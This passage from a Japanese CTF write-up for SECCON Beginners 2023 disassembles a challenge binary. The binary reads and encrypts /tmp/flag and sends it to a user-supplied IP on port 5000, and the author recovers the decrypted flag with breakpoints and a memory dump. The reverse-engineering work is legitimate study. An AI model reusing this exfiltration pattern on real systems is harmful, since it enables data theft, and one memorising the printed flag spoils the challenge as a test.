[0x7f3366f05d70]> s main
[0x55893602054f]> pdf
; DATA XREF from entry0 @ 0x558936020241
┌ 674: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_464h @ rbp-0x464
│ ; var int64_t var_460h @ rbp-0x460
│ ; var int64_t var_458h @ rbp-0x458
│ ; var int64_t var_450h @ rbp-0x450
│ ; var int64_t var_448h @ rbp-0x448
│ ; var int64_t var_440h @ rbp-0x440
│ ; var int64_t var_438h @ rbp-0x438
│ ; var int64_t var_430h @ rbp-0x430
│ ; var int64_t var_42eh @ rbp-0x42e
│ ; var int64_t var_420h @ rbp-0x420
│ ; var int64_t var_410h @ rbp-0x410
│ ; var int64_t var_8h @ rbp-0x8
│ 0x55893602054f f30f1efa endbr64
│ 0x558936020553 55 push rbp
│ 0x558936020554 4889e5 mov rbp, rsp
│ 0x558936020557 4881ec700400. sub rsp, 0x470
│ 0x55893602055e 64488b042528. mov rax, qword fs:[0x28]
│ 0x558936020567 488945f8 mov qword [var_8h], rax
│ 0x55893602056b 31c0 xor eax, eax
│ 0x55893602056d 488d3d940a00. lea rdi, str.Enter_IP_address:_ ; 0x558936021008 ; "Enter IP address: "
│ 0x558936020574 b800000000 mov eax, 0
│ 0x558936020579 e822fcffff call sym.imp.printf ; int printf(const char *format)
│ 0x55893602057e 488b158b2a00. mov rdx, qword [reloc.stdin] ; [0x558936023010:8]=0
│ 0x558936020585 488d85e0fbff. lea rax, [var_420h]
│ 0x55893602058c be10000000 mov esi, 0x10 ; 16
│ 0x558936020591 4889c7 mov rdi, rax
│ 0x558936020594 e827fcffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
│ 0x558936020599 4885c0 test rax, rax
│ ┌─< 0x55893602059c 7516 jne 0x5589360205b4
│ │ 0x55893602059e 488d3d760a00. lea rdi, str.Failed_to_read_IP_address ; 0x55893602101b ; "Failed to read IP address"
│ │ 0x5589360205a5 e846fcffff call sym.imp.perror ; void perror(const char *s)
│ │ 0x5589360205aa b801000000 mov eax, 1
│ ┌──< 0x5589360205af e927020000 jmp 0x5589360207db
│ │└─> 0x5589360205b4 488d85e0fbff. lea rax, [var_420h]
│ │ 0x5589360205bb 4889c7 mov rdi, rax
│ │ 0x5589360205be e89dfbffff call sym.imp.strlen ; size_t strlen(const char *s)
│ │ 0x5589360205c3 488985a0fbff. mov qword [var_460h], rax
│ │ 0x5589360205ca 4883bda0fbff. cmp qword [var_460h], 0
│ │┌─< 0x5589360205d2 742a je 0x5589360205fe
│ ││ 0x5589360205d4 488b85a0fbff. mov rax, qword [var_460h]
│ ││ 0x5589360205db 4883e801 sub rax, 1
│ ││ 0x5589360205df 0fb68405e0fb. movzx eax, byte [rbp + rax - 0x420]
│ ││ 0x5589360205e7 3c0a cmp al, 0xa ; 10
│ ┌───< 0x5589360205e9 7513 jne 0x5589360205fe
│ │││ 0x5589360205eb 488b85a0fbff. mov rax, qword [var_460h]
│ │││ 0x5589360205f2 4883e801 sub rax, 1
│ │││ 0x5589360205f6 c68405e0fbff. mov byte [rbp + rax - 0x420], 0
│ └─└─> 0x5589360205fe 488d35300a00. lea rsi, [0x558936021035] ; "r"
│ │ 0x558936020605 488d3d2b0a00. lea rdi, str._tmp_flag ; 0x558936021037 ; "/tmp/flag"
│ │ 0x55893602060c e8cffbffff call sym.imp.fopen ; file*fopen(const char *filename, const char *mode)
│ │ 0x558936020611 488985a8fbff. mov qword [var_458h], rax
│ │ 0x558936020618 4883bda8fbff. cmp qword [var_458h], 0
│ │┌─< 0x558936020620 7516 jne 0x558936020638
│ ││ 0x558936020622 488d3d180a00. lea rdi, str.Failed_to_open_file ; 0x558936021041 ; "Failed to open file"
│ ││ 0x558936020629 e8c2fbffff call sym.imp.perror ; void perror(const char *s)
│ ││ 0x55893602062e b801000000 mov eax, 1
│ ┌───< 0x558936020633 e9a3010000 jmp 0x5589360207db
│ ││└─> 0x558936020638 488b95a8fbff. mov rdx, qword [var_458h]
│ ││ 0x55893602063f 488d85f0fbff. lea rax, [var_410h]
│ ││ 0x558936020646 4889d1 mov rcx, rdx
│ ││ 0x558936020649 ba00040000 mov edx, 0x400 ; 1024
│ ││ 0x55893602064e be01000000 mov esi, 1
│ ││ 0x558936020653 4889c7 mov rdi, rax
│ ││ 0x558936020656 e8e5faffff call sym.imp.fread ; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
│ ││ 0x55893602065b 488985b0fbff. mov qword [var_450h], rax
│ ││ 0x558936020662 488b85a8fbff. mov rax, qword [var_458h]
│ ││ 0x558936020669 4889c7 mov rdi, rax
│ ││ 0x55893602066c e8dffaffff call sym.imp.fclose ; int fclose(FILE *stream)
│ ││ 0x558936020671 488d05e00900. lea rax, str.KEYth1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag ; 0x558936021058 ; "KEY{th1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag}"
│ ││ 0x558936020678 488985b8fbff. mov qword [var_448h], rax
│ ││ 0x55893602067f 488b85b8fbff. mov rax, qword [var_448h]
│ ││ 0x558936020686 4889c7 mov rdi, rax
│ ││ 0x558936020689 e8d2faffff call sym.imp.strlen ; size_t strlen(const char *s)
│ ││ 0x55893602068e 488985c0fbff. mov qword [var_440h], rax
│ ││ 0x558936020695 488b8dc0fbff. mov rcx, qword [var_440h]
│ ││ 0x55893602069c 488b95b8fbff. mov rdx, qword [var_448h]
│ ││ 0x5589360206a3 488bb5b0fbff. mov rsi, qword [var_450h]
│ ││ 0x5589360206aa 488d85f0fbff. lea rax, [var_410h]
│ ││ 0x5589360206b1 4889c7 mov rdi, rax
│ ││ 0x5589360206b4 e850fcffff call sym.encrypt
│ ││ 0x5589360206b9 ba00000000 mov edx, 0
│ ││ 0x5589360206be be01000000 mov esi, 1
│ ││ 0x5589360206c3 bf02000000 mov edi, 2
│ ││ 0x5589360206c8 e843fbffff call sym.imp.socket ; int socket(int domain, int type, int protocol)
│ ││ 0x5589360206cd 89859cfbffff mov dword [var_464h], eax
│ ││ 0x5589360206d3 83bd9cfbffff. cmp dword [var_464h], 0xffffffff
│ ││┌─< 0x5589360206da 7516 jne 0x5589360206f2
│ │││ 0x5589360206dc 488d3da60900. lea rdi, str.Failed_to_create_socket ; 0x558936021089 ; "Failed to create socket"
│ │││ 0x5589360206e3 e808fbffff call sym.imp.perror ; void perror(const char *s)
│ │││ 0x5589360206e8 b801000000 mov eax, 1
│ ┌────< 0x5589360206ed e9e9000000 jmp 0x5589360207db
│ │││└─> 0x5589360206f2 66c785d0fbff. mov word [var_430h], 2
│ │││ 0x5589360206fb bf88130000 mov edi, 0x1388
│ │││ 0x558936020700 e87bfaffff call sym.imp.htons
│ │││ 0x558936020705 668985d2fbff. mov word [var_42eh], ax
│ │││ 0x55893602070c 488d85d0fbff. lea rax, [var_430h]
│ │││ 0x558936020713 488d5004 lea rdx, [rax + 4]
│ │││ 0x558936020717 488d85e0fbff. lea rax, [var_420h]
│ │││ 0x55893602071e 4889c6 mov rsi, rax
│ │││ 0x558936020721 bf02000000 mov edi, 2
│ │││ 0x558936020726 e8a5faffff call sym.imp.inet_pton
│ │││ 0x55893602072b 85c0 test eax, eax
│ │││┌─< 0x55893602072d 7f16 jg 0x558936020745
│ ││││ 0x55893602072f 488d3d720900. lea rdi, str.Invalid_address_Address_not_supported ; 0x5589360210a8 ; "Invalid address/Address not supported"
│ ││││ 0x558936020736 e8b5faffff call sym.imp.perror ; void perror(const char *s)
│ ││││ 0x55893602073b b801000000 mov eax, 1
│ ┌─────< 0x558936020740 e996000000 jmp 0x5589360207db
│ ││││└─> 0x558936020745 488d8dd0fbff. lea rcx, [var_430h]
│ ││││ 0x55893602074c 8b859cfbffff mov eax, dword [var_464h]
│ ││││ 0x558936020752 ba10000000 mov edx, 0x10 ; 16
│ ││││ 0x558936020757 4889ce mov rsi, rcx
│ ││││ 0x55893602075a 89c7 mov edi, eax
│ ││││ 0x55893602075c e89ffaffff call sym.imp.connect ; ssize_t connect(int socket, void *addr, size_t addrlen)
│ ││││ 0x558936020761 83f8ff cmp eax, 0xffffffff
│ ││││┌─< 0x558936020764 7513 jne 0x558936020779
│ │││││ 0x558936020766 488d3d610900. lea rdi, str.Failed_to_connect_to_server ; 0x5589360210ce ; "Failed to connect to server"
│ │││││ 0x55893602076d e87efaffff call sym.imp.perror ; void perror(const char *s)
│ │││││ 0x558936020772 b801000000 mov eax, 1
│ ┌──────< 0x558936020777 eb62 jmp 0x5589360207db
│ │││││└─> 0x558936020779 488b95b0fbff. mov rdx, qword [var_450h]
│ │││││ 0x558936020780 488db5f0fbff. lea rsi, [var_410h]
│ │││││ 0x558936020787 8b859cfbffff mov eax, dword [var_464h]
│ │││││ 0x55893602078d b900000000 mov ecx, 0
│ │││││ 0x558936020792 89c7 mov edi, eax
│ │││││ 0x558936020794 e8f7f9ffff call sym.imp.send ; ssize_t send(int socket, void *buffer, size_t length, int flags)
│ │││││ 0x558936020799 488985c8fbff. mov qword [var_438h], rax
│ │││││ 0x5589360207a0 4883bdc8fbff. cmp qword [var_438h], 0xffffffffffffffff
│ │││││┌─< 0x5589360207a8 7513 jne 0x5589360207bd
│ ││││││ 0x5589360207aa 488d3d390900. lea rdi, str.Failed_to_send_data ; 0x5589360210ea ; "Failed to send data"
│ ││││││ 0x5589360207b1 e83afaffff call sym.imp.perror ; void perror(const char *s)
│ ││││││ 0x5589360207b6 b801000000 mov eax, 1
│ ┌───────< 0x5589360207bb eb1e jmp 0x5589360207db
│ ││││││└─> 0x5589360207bd 488d3d3a0900. lea rdi, str.Data_sent_successfully ; 0x5589360210fe ; "Data sent successfully"
│ ││││││ 0x5589360207c4 e867f9ffff call sym.imp.puts ; int puts(const char *s)
│ ││││││ 0x5589360207c9 8b859cfbffff mov eax, dword [var_464h]
│ ││││││ 0x5589360207cf 89c7 mov edi, eax
│ ││││││ 0x5589360207d1 e8daf9ffff call sym.imp.close ; int close(int fildes)
│ ││││││ 0x5589360207d6 b800000000 mov eax, 0
│ ││││││ ; XREFS: CODE 0x5589360205af CODE 0x558936020633 CODE 0x5589360206ed CODE 0x558936020740 CODE 0x558936020777
│ ││││││ ; XREFS: CODE 0x5589360207bb
│ └└└└└└──> 0x5589360207db 488b4df8 mov rcx, qword [var_8h]
│ 0x5589360207df 6448330c2528. xor rcx, qword fs:[0x28]
│ ┌─< 0x5589360207e8 7405 je 0x5589360207ef
│ │ 0x5589360207ea e881f9ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ └─> 0x5589360207ef c9 leave
└ 0x5589360207f0 c3 ret
[0x5589360206b9]> db 0x5589360206c8
[0x5589360206b9]> dc
hit breakpoint at: 0x5589360206c8
復号結果は'[var_410h]`に入っていると推測できるので, この変数の値を表示してみます.
[0x5589360206c8]> pxq @ rbp-0x410
0x7fff24202a70 0x34707b6234667463 0x7474345f306e5f79 ctf4b{p4y_n0_4tt
0x7fff24202a80 0x745f6e3031746e65 0x6d5f746134745f30 ent10n_t0_t4at_m
0x7fff24202a90 0x6e316865625f6e34 0x75635f6534745f64 4n_beh1nd_t4e_cu
0x7fff24202aa0 0x000a7d6e31613472 0x00007f3366efa608 r4a1n}.....f3...
0x7fff24202ab0 0x00007f3366eeba68 0x00007f3366ce97d8 h..f3......f3...
0x7fff24202ac0 0x00007f3366ebd590 0x00007fff24202b60 ...f3...`+ $....
0x7fff24202ad0 0x00007f3366f1ff40 0x00007fff24202b50 @..f3...P+ $....
0x7fff24202ae0 0x0000000000000000 0x00007fff24202b58 ........X+ $....
0x7fff24202af0 0x00007fff24202ba0 0x00007f3366eebe88 .+ $.......f3...
0x7fff24202b00 0x00007fff24202b58 0x00007f3366eebe88 X+ $.......f3...
0x7fff24202b10 0x00007f3366ebdab0 0x0000000000000000 ...f3...........
0x7fff24202b20 0x00007f3366f1f648 0x00007f3366eeb000 H..f3......f3...
0x7fff24202b30 0x00007fff24202b60 0x00007f3366ef5ce6 `+ $.....\.f3...
0x7fff24202b40 0x00007f3366cd58b8 0x00007f3366f13723 .X.f3...#7.f3...
0x7fff24202b50 0x00007f3366ebd000 0x00000000069682ac ...f3...........
0x7fff24202b60 0x00007f3366cd4b70 0x00007f3366ef5daa pK.f3....].f3...
復号されたフラグが含まれていることが分かります.
感想
久しぶりのCTFでしたが, 攻撃手法を思い出しながらeasy, medium辺りは解けて良かったです. SECCON Beginners 2023はシンプルな問題が多いので, 学習教材として非常に良いと思います.
もう少し解けたらかなり上位に入ることが出来たので, stackベースの攻撃手法だけではなく, kernel exploitやheap exploit辺りも勉強して次回はHard問題も解けるようにしたいです.